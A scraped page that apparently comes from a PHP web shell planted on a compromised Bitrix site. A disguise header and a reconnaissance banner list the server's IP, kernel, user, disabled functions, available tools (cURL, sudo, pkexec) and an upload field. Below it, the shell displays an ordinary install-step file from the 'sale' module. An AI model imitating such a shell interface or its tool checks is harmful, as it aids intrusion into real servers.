%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 3.144.38.120 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/install/ |
Upload File : |
<?if(!check_bitrix_sessid()) return; global $errors; $install_public = (($install_public == "Y") ? "Y" : "N"); if ($install_public == "Y") { $public_dir = Trim($public_dir); $public_rewrite = (($public_rewrite == "Y") ? "Y" : "N"); $bReWritePublicFiles = (($public_rewrite == "Y") ? true : false); } else { $public_dir = ""; $public_rewrite = "N"; $bReWritePublicFiles = false; } if ($install_public == "Y" && !empty($public_dir)) { function DEMO_Sale_AddMenuItem($menuFile, $menuItem) { if(CModule::IncludeModule('fileman')) { $arResult = CFileMan::GetMenuArray($_SERVER["DOCUMENT_ROOT"].$menuFile); $arMenuItems = $arResult["aMenuLinks"]; $menuTemplate = $arResult["sMenuTemplate"]; $bFound = false; foreach($arMenuItems as $item) if($item[1] == $menuItem[1]) $bFound = true; if(!$bFound) { $arMenuItems[] = $menuItem; CFileMan::SaveMenu(array($arParams["site_id"], $menuFile), $arMenuItems, $menuTemplate); } } } $dbSites = CSite::GetList('', '', array("ACTIVE" => "Y")); while ($site = $dbSites->Fetch()) { CopyDirFiles($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/sale/install/public/".$site['LANGUAGE_ID'], $site['ABS_DOC_ROOT'].$site["DIR"].$public_dir, $bReWritePublicFiles, true); if(!file_exists($_SERVER["DOCUMENT_ROOT"]."/personal/.left.menu.php")) { IncludeModuleLangFile($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/sale/install/public_menu.php", $site['LANGUAGE_ID']); DEMO_Sale_AddMenuItem($site["DIR"].$public_dir."/.left.menu.php", Array( GetMessage("SALE_INSTALL_MENU_ORDER"), $site["DIR"].$public_dir."/order/", Array(), Array(), "" )); DEMO_Sale_AddMenuItem($site["DIR"].$public_dir."/.left.menu.php", Array( GetMessage("SALE_INSTALL_MENU_BASKET"), $site["DIR"].$public_dir."/cart/", Array(), Array(), "" )); DEMO_Sale_AddMenuItem($site["DIR"].$public_dir."/.left.menu.php", Array( GetMessage("SALE_INSTALL_MENU_REGULAR_PAYMENT"), $site["DIR"].$public_dir."/regular-payment/", Array(), Array(), "" )); DEMO_Sale_AddMenuItem($site["DIR"].$public_dir."/.left.menu.php", Array( GetMessage("SALE_INSTALL_MENU_SALE_PROFILES"), $site["DIR"].$public_dir."/customer-profiles/", Array(), Array(), "" )); DEMO_Sale_AddMenuItem($site["DIR"].$public_dir."/.left.menu.php", Array( GetMessage("SALE_INSTALL_MENU_SALE_ACCOUNT"), $site["DIR"].$public_dir."/account/", Array(), Array(), "" )); } } } if(empty($errors)): echo CAdminMessage::ShowNote(GetMessage("MOD_INST_OK")); else: $alErrors .= implode('<br>', $errors); echo CAdminMessage::ShowMessage(array("TYPE"=>"ERROR", "MESSAGE" =>GetMessage("MOD_INST_ERR"), "DETAILS"=>$alErrors, "HTML"=>true)); endif; if ($ex = $APPLICATION->GetException()) { echo CAdminMessage::ShowMessage(array("TYPE" => "ERROR", "MESSAGE" => GetMessage("MOD_INST_ERR"), "HTML" => true, "DETAILS" => $ex->GetString())); } if ($public_dir <> '') : ?> <p><?=GetMessage("MOD_DEMO_DIR")?></p> <table border="0" cellspacing="0" cellpadding="3"> <tr> <td align="center"><p><b><?=GetMessage("MOD_DEMO_SITE")?></b></p></td> <td align="center"><p><b><?=GetMessage("MOD_DEMO_LINK")?></b></p></td> </tr> <? $sites = CSite::GetList('', '', Array("ACTIVE"=>"Y")); while($site = $sites->Fetch()) { ?> <tr> <td width="0%"><p>[<?=htmlspecialcharsbx($site["ID"])?>] <?=htmlspecialcharsbx($site["NAME"])?></p></td> <td width="0%"><p><a href="<?if($site["SERVER_NAME"] <> '') echo "http://".htmlspecialcharsbx($site["SERVER_NAME"]);?><?=htmlspecialcharsbx($site["DIR"]).$public_dir?>/"><?=htmlspecialcharsbx($site["DIR"]).$public_dir?>/</a></p></td> </tr> <? } ?> </table> <? endif; ?> <form action="<?echo $APPLICATION->GetCurPage()?>"> <input type="hidden" name="lang" value="<?echo LANG?>"> <input type="submit" name="" value="<?echo GetMessage("MOD_BACK")?>"> <form>